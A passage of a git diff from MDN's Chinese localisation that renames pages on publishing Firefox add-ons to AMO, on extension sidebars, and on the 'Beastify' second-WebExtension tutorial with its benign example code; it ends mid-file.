  5. 上传你的压缩文件到AMO来进行签名和审核, 并选择是否在AMO上进行发布
  6. -
  7. 修复在审核中发现的任何问题
  8. -
  9. 如果你选择不在AMO上发布, 可以恢复已签名的附件组件, 并自行发布
  10. -
- -

当你准备发布附加组件的新版本时, 你可以访问 addons.mozilla.org 的附加组件页来更新它, 并上传新的版本.
- 需要注意的是: 你必须在这个附加组件页进行更新, 否则AMO没法知道你是要更新一个已经存在的附加组件呢, 还是要上传一个全新的附加组件呢.

- -

如果你选择在AMO上发布你的附加组件, 之后火狐浏览器会自动检查更新. 如果你选择自行发布,  你需要在你的manifest.json中手动设置一个applications 唯一标识, 并且需要手动设置update_url属性指向你的update manifest file.

- -
-
-

火狐浏览器把附加组件包的后缀叫做或改为".xpi", 这只是".zip"的一个扩展.

- -

在上传附加组件到AMO的时候, 你不需要把压缩包的后缀改为".XPI".

-
-
- -

1. 使用zip压缩你的附加组件文件

- -

首先你的附加组件文件夹应该包含一个manifest.json和其他一些需要的文件 - javascript文件, icons文件, HTML文件等等. 你需要使用zip把它们压缩成一个文件以便上传到AMO.

- -

注意: 请将你的附加组件目录的的所有文件压缩为zip包,而 不要直接对附加组件根目录进行压缩(见下图所示).

- -

Windows

- -
    -
  1. 打开你的附加组件所在的文件夹.
  2. -
  3. 选中所有文件.
  4. -
  5. 右键并选择发送到 → 压缩到(zipped)文件夹.
  6. -
- -

- -

Mac OS X

- -
    -
  1. 打开你的附加组件所在的文件夹.
  2. -
  3. 选中所有文件.
  4. -
  5. 右键并选择压缩n项.
  6. -
- -

- -

Linux / Mac OS X Terminal

- -
    -
  1. cd path/to/my-addon/
  2. -
  3. zip -r ../my-addon.zip *
  4. -
- -

2. 在AMO上创建一个账户

- -

访问https://addons.mozilla.org/. 如果你已经有一个火狐账户, 你可以直接使用它来登录. 否则, 点击"注册"并按要求创建一个火狐账户.

- -

3. 上传你的zip压缩文件

- -

接下来, 上传压缩后的附加组件到AMO进行签名和审查, 并选择是否发布到AMO, 更多细节, 可查看Submitting to AMO.

- -
-

需要注意的是一旦你上传了你的附加组件(基于WebExtension技术)到AMO, 你不能使用Add-on SDK或过时的XUL/XPCOM技术来更新该附加组件. 如果你切换到了这些技术平台之一, 必须把它做为新的附加组件并重新提交.

- -

总而言之: 像Add-on SDK和XUL/XPCOM等过时的技术体系在不久的将来都将被淘汰, WebExtensions才是唯一.

- -

在上传你的附加组件之前,请再次检查你的zip包内没有包含其他不相关的文件.

-
- -

4. 修复审查中出现的问题

- -

当你上传了附加组件, AMO服务器将运行一些基本的检查并立即通知你有关的一切问题. 这些问题分为2种类型: "错误"和"警告". 如果你有错误, 你必须修复它们并重新提交, 如果只是警告, 你最好也搞定它们(当可以也忽略警告): 然后可以继续提交.

- -

如果自动检查器没有报告任何错误, 该附件组件将进行更为详细的审核(复查). 你同样会收到审查结果并且需要修复所有问题, 然后重新提交.

- -

5. 发布你的附加组件

- -

如果你选择了在AMO上托管你的附加组件, 这意味着发布过程的结束. AMO会对该附加组件进行签名和发布, 之后其他用户就能下载并安装使用了.

- -

如果你选择不在AMO上进行发布, 可以恢复已签名的附加组件, 并自行发布(比如把附件组件的压缩包直接发给别人).

- -

 

diff --git a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html new file mode 100644 index 0000000000..8d13bfaf2c --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -0,0 +1,53 @@ +--- +title: 侧边栏 +slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars +--- +
{{AddonSidebar}}
+ +
+

A sidebar is a pane that is displayed at the side of the browser window, next to the web page. The browser provides a UI that enables the user to see the currently available sidebars and to select a sidebar to display. For example, Firefox has a "View > Sidebar" menu. Only one sidebar can be shown at a time, and that sidebar will be displayed for all tabs and all browser windows.

+ +

The browser may include a number of built-in sidebars. For example, Firefox includes a sidebar for interacting with bookmarks:

+ +

Using the sidebar_action manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.

+ +

就像浏览器的弹出页面,侧边栏也是一个HTML文档。当用户打开侧边栏时,HTML文档载入打开的浏览器窗口。每个窗口有一个该文档的实例。打开一个新窗口时,该窗口获得自己的文档实例

+ +

可以使用函数{{WebExtAPIRef("sidebarAction.setPanel()")}}指定侧边栏仅用于指定的某个标签,使用{{WebExtAPIRef("windows.getCurrent()")}} 侧边栏知道自己属于哪一个标签。

+ +
// sidebar.js
+browser.windows.getCurrent({populate: true}).then((windowInfo) => {
+  myWindowId = windowInfo.id;
+});
+ +

不同的窗口使用不同的侧边栏是非常有用的,这是一个实例 ,见"annotate-page" example.

+ +

侧边栏俱有和后台程序以及弹出窗口相同的API权限,在非隐藏模式下,侧边栏使用API {{WebExtAPIRef("runtime.getBackgroundPage()")}} 可以直接访问后台页面,使用 API 如{{WebExtAPIRef("tabs.sendMessage()")}} 与content scripts交互,使用API 如 {{WebExtAPIRef("runtime.sendNativeMessage()")}} 与原生应用交互。

+ +

关闭窗口或关闭侧边栏时,侧边栏文档退出。这意味着和后台页面不同,侧边栏文档不是一直住留,也不像弹出窗口,只要用户与页面交互 ,它就一直存在。

+ +

使用侧边栏的扩展载入时,侧边栏自动打开。这是为了帮助用户知道扩展俱有侧边栏。注意不能通过编程的方式打开侧边栏:侧边栏只能由用户打开。

+ +

声明侧边栏

+ +

声明侧边栏,只需在manifest.json中指 定关键字  sidebar_action    并同时指定title 和 icon:

+ +
"sidebar_action": {
+  "default_title": "My sidebar",
+  "default_panel": "sidebar.html",
+  "default_icon": "sidebar_icon.png"
+}
+ +

使用API {{WebExtAPIRef("sidebarAction")}} ,你可以用编程的方式修改title panel icon。

+ +

浏览器提供的显示侧边栏的UI中,title和icon显示给用户,如Firefox菜单栏的"View > Sidebar"

+ + + +

For details on how to design your sidebar's web page to match the style of Firefox, see the Photon Design System documentation.

+ +

Example

+ +

The webextensions-examples repository on GitHub includes the annotate-page example which implements a sidebar.

+
diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/\344\276\247\350\276\271\346\240\217/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/\344\276\247\350\276\271\346\240\217/index.html" deleted file mode 100644 index 8d13bfaf2c..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/\344\276\247\350\276\271\346\240\217/index.html" +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 侧边栏 -slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars ---- -
{{AddonSidebar}}
- -
-

A sidebar is a pane that is displayed at the side of the browser window, next to the web page. The browser provides a UI that enables the user to see the currently available sidebars and to select a sidebar to display. For example, Firefox has a "View > Sidebar" menu. Only one sidebar can be shown at a time, and that sidebar will be displayed for all tabs and all browser windows.

- -

The browser may include a number of built-in sidebars. For example, Firefox includes a sidebar for interacting with bookmarks:

- -

Using the sidebar_action manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.

- -

就像浏览器的弹出页面,侧边栏也是一个HTML文档。当用户打开侧边栏时,HTML文档载入打开的浏览器窗口。每个窗口有一个该文档的实例。打开一个新窗口时,该窗口获得自己的文档实例

- -

可以使用函数{{WebExtAPIRef("sidebarAction.setPanel()")}}指定侧边栏仅用于指定的某个标签,使用{{WebExtAPIRef("windows.getCurrent()")}} 侧边栏知道自己属于哪一个标签。

- -
// sidebar.js
-browser.windows.getCurrent({populate: true}).then((windowInfo) => {
-  myWindowId = windowInfo.id;
-});
- -

不同的窗口使用不同的侧边栏是非常有用的,这是一个实例 ,见"annotate-page" example.

- -

侧边栏俱有和后台程序以及弹出窗口相同的API权限,在非隐藏模式下,侧边栏使用API {{WebExtAPIRef("runtime.getBackgroundPage()")}} 可以直接访问后台页面,使用 API 如{{WebExtAPIRef("tabs.sendMessage()")}} 与content scripts交互,使用API 如 {{WebExtAPIRef("runtime.sendNativeMessage()")}} 与原生应用交互。

- -

关闭窗口或关闭侧边栏时,侧边栏文档退出。这意味着和后台页面不同,侧边栏文档不是一直住留,也不像弹出窗口,只要用户与页面交互 ,它就一直存在。

- -

使用侧边栏的扩展载入时,侧边栏自动打开。这是为了帮助用户知道扩展俱有侧边栏。注意不能通过编程的方式打开侧边栏:侧边栏只能由用户打开。

- -

声明侧边栏

- -

声明侧边栏,只需在manifest.json中指 定关键字  sidebar_action    并同时指定title 和 icon:

- -
"sidebar_action": {
-  "default_title": "My sidebar",
-  "default_panel": "sidebar.html",
-  "default_icon": "sidebar_icon.png"
-}
- -

使用API {{WebExtAPIRef("sidebarAction")}} ,你可以用编程的方式修改title panel icon。

- -

浏览器提供的显示侧边栏的UI中,title和icon显示给用户,如Firefox菜单栏的"View > Sidebar"

- - - -

For details on how to design your sidebar's web page to match the style of Firefox, see the Photon Design System documentation.

- -

Example

- -

The webextensions-examples repository on GitHub includes the annotate-page example which implements a sidebar.

-
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/walkthrough/index.html b/files/zh-cn/mozilla/add-ons/webextensions/walkthrough/index.html deleted file mode 100644 index 962e04d404..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/walkthrough/index.html +++ /dev/null @@ -1,488 +0,0 @@ ---- -title: 你的第二个 WebExtension -slug: Mozilla/Add-ons/WebExtensions/Walkthrough -translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension ---- -

{{AddonSidebar}}

- -

如果你已经阅读了 你的第一个扩展,那么你现在已经知道如何写一个扩展了。在这篇文章,我们将写一个稍微复杂一点点的扩展来为你展示更多的一些API 。

- -

这个扩展会添加一个新按钮到 Firefox 的工具栏。在用户点击该按钮时,我们会显示一个弹出窗(popup)来让他们选择一种动物。在他们选择之后,我们会将当前网页替换为他所选动物的图片。

- -

要实现这点,我们将:

- - - -

你可以想象这样的扩展的整体结构:

- -

- -

这是一个非常简单的扩展,但也展示了 WebExtensions API 的许多基本概念:

- - - -

你可以在 GitHub 找到该扩展的完整的源代码

- -

写这个扩展,你需要45或更高版本的firefox。

- -

编写扩展

- -

创建一个新目录,并切换到该目录:

- -
    -
  1. -
    mkdir beastify
    -cd beastify
    -
  2. -
- -

manifest.json

- -

现在创建一个名为 "manifest.json" 的文件,并对其添加下列内容:

- -
    -
  1. -
    {
    -
    -  "manifest_version": 2,
    -  "name": "Beastify",
    -  "version": "1.0",
    -
    -  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
    -  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
    -  "icons": {
    -    "48": "icons/beasts-48.png"
    -  },
    -
    -  "permissions": [
    -    "activeTab"
    -  ],
    -
    -  "browser_action": {
    -    "default_icon": "icons/beasts-32.png",
    -    "default_title": "Beastify",
    -    "default_popup": "popup/choose_beast.html"
    -  },
    -
    -  "web_accessible_resources": [
    -    "beasts/frog.jpg",
    -    "beasts/turtle.jpg",
    -    "beasts/snake.jpg"
    -  ]
    -
    -}
    -
  2. -
- - - -

需要注意,所有路径是相对于 manifest.json 。

- -

图标

- -

插件应该有一个图标。这个图标被用于显示在附加组件管理器中(可以通过"about:addons"来访问)。当前插件中manifest.json指定了我们插件的图标位于"icons/beasts-48.png"。

- -

创建“icons”文件夹,并将图标命名为“beasts-48.png”。你可以使用我们例子中的图标,它是从 Aha-Soft’s Free Retina iconset 截取的,使用需要遵循该网站的许可证

- -

如果你使用自己的图标,它的尺寸应该是48×\times48像素的。同时,对于高分辨率的设备,可以提供96×\times96像素的图片。此时,manifest.json应当这样配置:

- -
    -
  1. -
    "icons": {
    -  "48": "icons/beasts-48.png",
    -  "96": "icons/beasts-96.png"
    -}
    -
  2. -
- - - -

工具栏按钮

- -

工具栏按钮也需要一个图标,并且我们的 manifest.json 承诺我们会为该工具栏在 "icons/beasts-32.png" 提供一个图标。

- -

将一个图标命名为为 "beasts-32.png"并保存到"icons"文件夹。你可以使用例子中的图片,它是取自 IconBeast Lite 图标集并按其许可协议授权使用。

- -

如果你没有弹出窗,用户点击的事件会直接分派到你的插件中。如果你制作了弹出窗,用户点击会直接打开这个弹出窗,而不会被分派给插件。本例中我们需要弹出窗,因此我们现在开始写它。

- -

弹出窗

- -

该弹出窗的函数是让用户选择三种动物的其中一种。

- -

在根目录下创建“popup”文件夹,用于存放弹出窗的代码。弹出窗由以下文件组成:

- - - -
mkdir popup
-cd popup
-touch choose_beast.html choose_beast.css choose_beast.js
- -

choose_beast.html

- -

HTML 文件就像这样:

- -
    -
  1. -
    <!DOCTYPE html>
    -
    -<html>
    -  <head>
    -    <meta charset="utf-8">
    -    <link rel="stylesheet" href="choose_beast.css"/>
    -  </head>
    -
    -<body>
    -  <div id="popup-content">
    -    <div class="button beast">Frog</div>
    -    <div class="button beast">Turtle</div>
    -    <div class="button beast">Snake</div>
    -    <div class="button reset">Reset</div>
    -  </div>
    -  <div id="error-content" class="hidden">
    -    <p>Can't beastify this web page.</p><p>Try a different page.</p>
    -  </div>
    -  <script src="choose_beast.js"></script>
    -</body>
    -
    -</html>
    -
  2. -
- -

我们有一个ID为 "popup-content" 的<div>元素包含了每个动物选择。我们还有另外一个<div> 元素,它的ID为 "error-content" ,class为"hidden"。我们将会使用它以防初始化弹窗的时候出问题。

- -

注意我们引入了CSS和JS文件,就像网页一样。

- -

choose_beast.css

- -

CSS 固定了弹出窗的大小,确保3个选择填充满空间,并给了他们基本点样式。同时隐藏了class="hidden"的元素,这意味着我们的"error-content" <div> 将会被默认隐藏:

- -
    -
  1. -
    html, body {
    -  width: 100px;
    -}
    -
    -.hidden {
    -  display: none;
    -}
    -
    -.button {
    -  margin: 3% auto;
    -  padding: 4px;
    -  text-align: center;
    -  font-size: 1.5em;
    -  cursor: pointer;
    -}
    -
    -.beast:hover {
    -  background-color: #CFF2F2;
    -}
    -
    -.beast {
    -  background-color: #E5F2F2;
    -}
    -
    -.reset {
    -  background-color: #FBFBC9;
    -}
    -
    -.reset:hover {
    -  background-color: #EAEA9D;
    -}
    -
  2. -
- -

choose_beast.js

- -

我们在弹出窗的脚本中监听点击事件。 如果用户选择其中一个动物,我们在当前标签页中插入一段内容脚本。一旦内容脚本加载,我们发送一条有关动物选择的信息:

- -
    -
  1. -
    /**
    - * CSS to hide everything on the page,
    - * except for elements that have the "beastify-image" class.
    - */
    -const hidePage = `body > :not(.beastify-image) {
    -                    display: none;
    -                  }`;
    -
    -/**
    - * Listen for clicks on the buttons, and send the appropriate message to
    - * the content script in the page.
    - */
    -function listenForClicks() {
    -  document.addEventListener("click", (e) => {
    -
    -    /**
    -     * Given the name of a beast, get the URL to the corresponding image.
    -     */
    -    function beastNameToURL(beastName) {
    -      switch (beastName) {
    -        case "Frog":
    -          return browser.extension.getURL("beasts/frog.jpg");
    -        case "Snake":
    -          return browser.extension.getURL("beasts/snake.jpg");
    -        case "Turtle":
    -          return browser.extension.getURL("beasts/turtle.jpg");
    -      }
    -    }
    -
    -    /**
    -     * Insert the page-hiding CSS into the active tab,
    -     * then get the beast URL and
    -     * send a "beastify" message to the content script in the active tab.
    -     */
    -    function beastify(tabs) {
    -      browser.tabs.insertCSS({code: hidePage}).then(() => {
    -        let url = beastNameToURL(e.target.textContent);
    -        browser.tabs.sendMessage(tabs[0].id, {
    -          command: "beastify",
    -          beastURL: url
    -        });
    -      });
    -    }
    -
    -    /**
    -     * Remove the page-hiding CSS from the active tab,
    -     * send a "reset" message to the content script in the active tab.
    -     */
    -    function reset(tabs) {
    -      browser.tabs.removeCSS({code: hidePage}).then(() => {
    -        browser.tabs.sendMessage(tabs[0].id, {
    -          command: "reset",
    -        });
    -      });
    -    }
    -
    -    /**
    -     * Just log the error to the console.
    -     */
    -    function reportError(error) {
    -      console.error(`Could not beastify: ${error}`);
    -    }
    -
    -    /**
    -     * Get the active tab,
    -     * then call "beastify()" or "reset()" as appropriate.
    -     */
    -    if (e.target.classList.contains("beast")) {
    -      browser.tabs.query({active: true, currentWindow: true})
    -        .then(beastify)
    -        .catch(reportError);
    -    }
    -    else if (e.target.classList.contains("reset")) {
    -      browser.tabs.query({active: true, currentWindow: true})
    -        .then(reset)
    -        .catch(reportError);
    -    }
    -  });
    -}
    -
    -/**
    - * There was an error executing the script.
    - * Display the popup's error message, and hide the normal UI.
    - */
    -function reportExecuteScriptError(error) {
    -  document.querySelector("#popup-content").classList.add("hidden");
    -  document.querySelector("#error-content").classList.remove("hidden");
    -  console.error(`Failed to execute beastify content script: ${error.message}`);
    -}
    -
    -/**
    - * When the popup loads, inject a content script into the active tab,
    - * and add a click handler.
    - * If we couldn't inject the script, handle the error.
    - */
    -browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
    -.then(listenForClicks)
    -.catch(reportExecuteScriptError);
    -
  2. -
- -

从96行开始。只要弹出窗加载完,popup scrpit 就会使用 browser.tabs.executeScript() API在活跃标签页执行 content script。如果执行 content scrpit成功,content script会在页面中一直保持,直到标签被关闭或者用户导航到其他页面。

- -

browser.tabs.executeScript()调用失败的常见原因是你不能在所有页面执行content scripts。例如,你不能在特权浏览器页面执行,像about:debugging,你也不能在addons.mozilla.org域执行。如果调用失败,reportExecuteScriptError()会隐藏"popup-content" <div>,并展示"error-content" <div>, 然后打印一个错误到控制台

- -

如果成功执行 content script ,我们会调用 listenForClicks()。这个监听了弹窗上的点击事件。

- - - -

beastify() 函数做了三件事:

- - - -

reset() 函数实际上就是撤销 beastify :

- - - -

The content script

- -

在扩展的根目录下创建一个新的文件夹,叫做"content_scripts",然后在里面新建一个新的名为 "beastify.js" 的文件,内容如下:

- -
    -
  1. -
    (function() {
    -  /**
    -   * Check and set a global guard variable.
    -   * If this content script is injected into the same page again,
    -   * it will do nothing next time.
    -   */
    -  if (window.hasRun) {
    -    return;
    -  }
    -  window.hasRun = true;
    -
    -  /**
    -   * Given a URL to a beast image, remove all existing beasts, then
    -   * create and style an IMG node pointing to
    -   * that image, then insert the node into the document.
    -   */
    -  function insertBeast(beastURL) {
    -    removeExistingBeasts();
    -    let beastImage = document.createElement("img");
    -    beastImage.setAttribute("src", beastURL);
    -    beastImage.style.height = "100vh";
    -    beastImage.className = "beastify-image";
    -    document.body.appendChild(beastImage);
    -  }
    -
    -  /**
    -   * Remove every beast from the page.
    -   */
    -  function removeExistingBeasts() {
    -    let existingBeasts = document.querySelectorAll(".beastify-image");
    -    for (let beast of existingBeasts) {
    -      beast.remove();
    -    }
    -  }
    -
    -  /**
    -   * Listen for messages from the background script.
    -   * Call "beastify()" or "reset()".
    -  */
    -  browser.runtime.onMessage.addListener((message) => {
    -    if (message.command === "beastify") {
    -      insertBeast(message.beastURL);
    -    } else if (message.command === "reset") {
    -      removeExistingBeasts();
    -    }
    -  });
    -
    -})();
    -
  2. -
- -

content script做的第一件事是检查全局变量 window.hasRun:如果它被设置了,脚本直接返回,否则设置window.hasRun并继续。原因是每次用户打开弹出窗,弹出窗就会在活跃页面执行一个content script ,所以我们可能会在单个页面运行多个脚本实例。如果是这样的话,我们需要保证只有一个实例在做所有事情。

- -

然后,从第40行开始,content script 监听来自弹出窗的信息,使用browser.runtime.onMessage API。在上面我们看到弹出窗脚本能够发送两种不同的信息:"beastify" and "reset"。

- - - -

动物们

- -

最后,我们要加入包含动物们的图像。

- -

创建"beasts"文件夹,之后将图片放入并命名。你可以从 the GitHub repository,或这里下载图片:

- -

- -

测试

- -

请仔细确认项目目录如下所示:

- -
    -
  1. -
    beastify/
    -
    -    beasts/
    -        frog.jpg
    -        snake.jpg
    -        turtle.jpg
    -
    -    content_scripts/
    -        beastify.js
    -
    -    icons/
    -        beasts-32.png
    -        beasts-48.png
    -
    -    popup/
    -        choose_beast.css
    -        choose_beast.html
    -        choose_beast.js
    -
    -    manifest.json
    -
  2. -
- -

Firefox 45开始,你可以临时从硬盘中安装扩展

- -

在Firefox地址栏中输入:about:debugging,单击“临时载入附加组件”,然后选择你的manifest.json文件。

- -

然后你应该已经看到扩展图标出现在了Firefox的工具条上:

- -

{{EmbedYouTube("sAM78GU4P34")}}

- -

打开一个网页,然后点击图标,选择一个动物,然后观察网页的变化

- -

{{EmbedYouTube("YMQXyAQSiE8")}}

- -

用命令行开发

- -

你可以通过使用 web-ext 工具来将临时安装的工作自动化,试试这个:

- -
    -
  1. -
    cd beastify
    -web-ext run
    -
  2. -
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html new file mode 100644 index 0000000000..962e04d404 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -0,0 +1,488 @@ +--- +title: 你的第二个 WebExtension +slug: Mozilla/Add-ons/WebExtensions/Walkthrough +translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +--- +

{{AddonSidebar}}

+ +

如果你已经阅读了 你的第一个扩展,那么你现在已经知道如何写一个扩展了。在这篇文章,我们将写一个稍微复杂一点点的扩展来为你展示更多的一些API 。

+ +

这个扩展会添加一个新按钮到 Firefox 的工具栏。在用户点击该按钮时,我们会显示一个弹出窗(popup)来让他们选择一种动物。在他们选择之后,我们会将当前网页替换为他所选动物的图片。

+ +

要实现这点,我们将:

+ + + +

你可以想象这样的扩展的整体结构:

+ +

+ +

这是一个非常简单的扩展,但也展示了 WebExtensions API 的许多基本概念:

+ + + +

你可以在 GitHub 找到该扩展的完整的源代码

+ +

写这个扩展,你需要45或更高版本的firefox。

+ +

编写扩展

+ +

创建一个新目录,并切换到该目录:

+ +
    +
  1. +
    mkdir beastify
    +cd beastify
    +
  2. +
+ +

manifest.json

+ +

现在创建一个名为 "manifest.json" 的文件,并对其添加下列内容:

+ +
    +
  1. +
    {
    +
    +  "manifest_version": 2,
    +  "name": "Beastify",
    +  "version": "1.0",
    +
    +  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
    +  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
    +  "icons": {
    +    "48": "icons/beasts-48.png"
    +  },
    +
    +  "permissions": [
    +    "activeTab"
    +  ],
    +
    +  "browser_action": {
    +    "default_icon": "icons/beasts-32.png",
    +    "default_title": "Beastify",
    +    "default_popup": "popup/choose_beast.html"
    +  },
    +
    +  "web_accessible_resources": [
    +    "beasts/frog.jpg",
    +    "beasts/turtle.jpg",
    +    "beasts/snake.jpg"
    +  ]
    +
    +}
    +
  2. +
+ + + +

需要注意,所有路径是相对于 manifest.json 。

+ +

图标

+ +

插件应该有一个图标。这个图标被用于显示在附加组件管理器中(可以通过"about:addons"来访问)。当前插件中manifest.json指定了我们插件的图标位于"icons/beasts-48.png"。

+ +

创建“icons”文件夹,并将图标命名为“beasts-48.png”。你可以使用我们例子中的图标,它是从 Aha-Soft’s Free Retina iconset 截取的,使用需要遵循该网站的许可证

+ +

如果你使用自己的图标,它的尺寸应该是48×\times48像素的。同时,对于高分辨率的设备,可以提供96×\times96像素的图片。此时,manifest.json应当这样配置:

+ +
    +
  1. +
    "icons": {
    +  "48": "icons/beasts-48.png",
    +  "96": "icons/beasts-96.png"
    +}
    +
  2. +
+ + + +

工具栏按钮

+ +

工具栏按钮也需要一个图标,并且我们的 manifest.json 承诺我们会为该工具栏在 "icons/beasts-32.png" 提供一个图标。

+ +

将一个图标命名为为 "beasts-32.png"并保存到"icons"文件夹。你可以使用例子中的图片,它是取自 IconBeast Lite 图标集并按其许可协议授权使用。

+ +

如果你没有弹出窗,用户点击的事件会直接分派到你的插件中。如果你制作了弹出窗,用户点击会直接打开这个弹出窗,而不会被分派给插件。本例中我们需要弹出窗,因此我们现在开始写它。

+ +

弹出窗

+ +

该弹出窗的函数是让用户选择三种动物的其中一种。

+ +

在根目录下创建“popup”文件夹,用于存放弹出窗的代码。弹出窗由以下文件组成:

+ + + +
mkdir popup
+cd popup
+touch choose_beast.html choose_beast.css choose_beast.js
+ +

choose_beast.html

+ +

HTML 文件就像这样:

+ +
    +
  1. +
    <!DOCTYPE html>
    +
    +<html>
    +  <head>
    +    <meta charset="utf-8">
    +    <link rel="stylesheet" href="choose_beast.css"/>
    +  </head>
    +
    +<body>
    +  <div id="popup-content">
    +    <div class="button beast">Frog</div>
    +    <div class="button beast">Turtle</div>
    +    <div class="button beast">Snake</div>
    +    <div class="button reset">Reset</div>
    +  </div>
    +  <div id="error-content" class="hidden">
    +    <p>Can't beastify this web page.</p><p>Try a different page.</p>
    +  </div>
    +  <script src="choose_beast.js"></script>
    +</body>
    +
    +</html>
    +
  2. +
+ +

我们有一个ID为 "popup-content" 的<div>元素包含了每个动物选择。我们还有另外一个<div> 元素,它的ID为 "error-content" ,class为"hidden"。我们将会使用它以防初始化弹窗的时候出问题。

+ +

注意我们引入了CSS和JS文件,就像网页一样。

+ +

choose_beast.css

+ +

CSS 固定了弹出窗的大小,确保3个选择填充满空间,并给了他们基本点样式。同时隐藏了class="hidden"的元素,这意味着我们的"error-content" <div> 将会被默认隐藏:

+ +
    +
  1. +
    html, body {
    +  width: 100px;
    +}
    +
    +.hidden {
    +  display: none;
    +}
    +
    +.button {
    +  margin: 3% auto;
    +  padding: 4px;
    +  text-align: center;
    +  font-size: 1.5em;
    +  cursor: pointer;
    +}
    +
    +.beast:hover {
    +  background-color: #CFF2F2;
    +}
    +
    +.beast {
    +  background-color: #E5F2F2;
    +}
    +
    +.reset {
    +  background-color: #FBFBC9;
    +}
    +
    +.reset:hover {
    +  background-color: #EAEA9D;
    +}
    +
  2. +
+ +

choose_beast.js

+ +

我们在弹出窗的脚本中监听点击事件。 如果用户选择其中一个动物,我们在当前标签页中插入一段内容脚本。一旦内容脚本加载,我们发送一条有关动物选择的信息:

+ +
    +
  1. +
    /**
    + * CSS to hide everything on the page,
    + * except for elements that have the "beastify-image" class.
    + */
    +const hidePage = `body > :not(.beastify-image) {
    +                    display: none;
    +                  }`;
    +
    +/**
    + * Listen for clicks on the buttons, and send the appropriate message to
    + * the content script in the page.
    + */
    +function listenForClicks() {
    +  document.addEventListener("click", (e) => {
    +
    +    /**
    +     * Given the name of a beast, get the URL to the corresponding image.
    +     */
    +    function beastNameToURL(beastName) {
    +      switch (beastName) {
    +        case "Frog":
    +          return browser.extension.getURL("beasts/frog.jpg");
    +        case "Snake":
    +          return browser.extension.getURL("beasts/snake.jpg");
    +        case "Turtle":
    +          return browser.extension.getURL("beasts/turtle.jpg");
    +      }
    +    }
    +
    +    /**
    +     * Insert the page-hiding CSS into the active tab,
    +     * then get the beast URL and
    +     * send a "beastify" message to the content script in the active tab.
    +     */
    +    function beastify(tabs) {
    +      browser.tabs.insertCSS({code: hidePage}).then(() => {
    +        let url = beastNameToURL(e.target.textContent);
    +        browser.tabs.sendMessage(tabs[0].id, {
    +          command: "beastify",
    +          beastURL: url
    +        });
    +      });
    +    }
    +
    +    /**
    +     * Remove the page-hiding CSS from the active tab,
    +     * send a "reset" message to the content script in the active tab.
    +     */
    +    function reset(tabs) {
    +      browser.tabs.removeCSS({code: hidePage}).then(() => {
    +        browser.tabs.sendMessage(tabs[0].id, {
    +          command: "reset",
    +        });
    +      });
    +    }
    +
    +    /**
    +     * Just log the error to the console.
    +     */
    +    function reportError(error) {
    +      console.error(`Could not beastify: ${error}`);
    +    }
    +
    +    /**
    +     * Get the active tab,
    +     * then call "beastify()" or "reset()" as appropriate.
    +     */
    +    if (e.target.classList.contains("beast")) {
    +      browser.tabs.query({active: true, currentWindow: true})
    +        .then(beastify)
    +        .catch(reportError);
    +    }
    +    else if (e.target.classList.contains("reset")) {
    +      browser.tabs.query({active: true, currentWindow: true})
    +        .then(reset)
    +        .catch(reportError);
    +    }
    +  });
    +}
    +
    +/**
    + * There was an error executing the script.
    + * Display the popup's error message, and hide the normal UI.
    + */
    +function reportExecuteScriptError(error) {
    +  document.querySelector("#popup-content").classList.add("hidden");
    +  document.querySelector("#error-content").classList.remove("hidden");
    +  console.error(`Failed to execute beastify content script: ${error.message}`);
    +}
    +
    +/**
    + * When the popup loads, inject a content script into the active tab,
    + * and add a click handler.
    + * If we couldn't inject the script, handle the error.
    + */
    +browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
    +.then(listenForClicks)
    +.catch(reportExecuteScriptError);
    +
  2. +
+ +

从96行开始。只要弹出窗加载完,popup scrpit 就会使用 browser.tabs.executeScript() API在活跃标签页执行 content script。如果执行 content scrpit成功,content script会在页面中一直保持,直到标签被关闭或者用户导航到其他页面。

+ +

browser.tabs.executeScript()调用失败的常见原因是你不能在所有页面执行content scripts。例如,你不能在特权浏览器页面执行,像about:debugging,你也不能在addons.mozilla.org域执行。如果调用失败,reportExecuteScriptError()会隐藏"popup-content" <div>,并展示"error-content" <div>, 然后打印一个错误到控制台

+ +

如果成功执行 content script ,我们会调用 listenForClicks()。这个监听了弹窗上的点击事件。

+ + + +

beastify() 函数做了三件事:

+ + + +

reset() 函数实际上就是撤销 beastify :

+ + + +

The content script

+ +

在扩展的根目录下创建一个新的文件夹,叫做"content_scripts",然后在里面新建一个新的名为 "beastify.js" 的文件,内容如下:

+ +
    +
  1. +
    (function() {
    +  /**
    +   * Check and set a global guard variable.
    +   * If this content script is injected into the same page again,
    +   * it will do nothing next time.
    +   */
    +  if (window.hasRun) {
    +    return;
    +  }
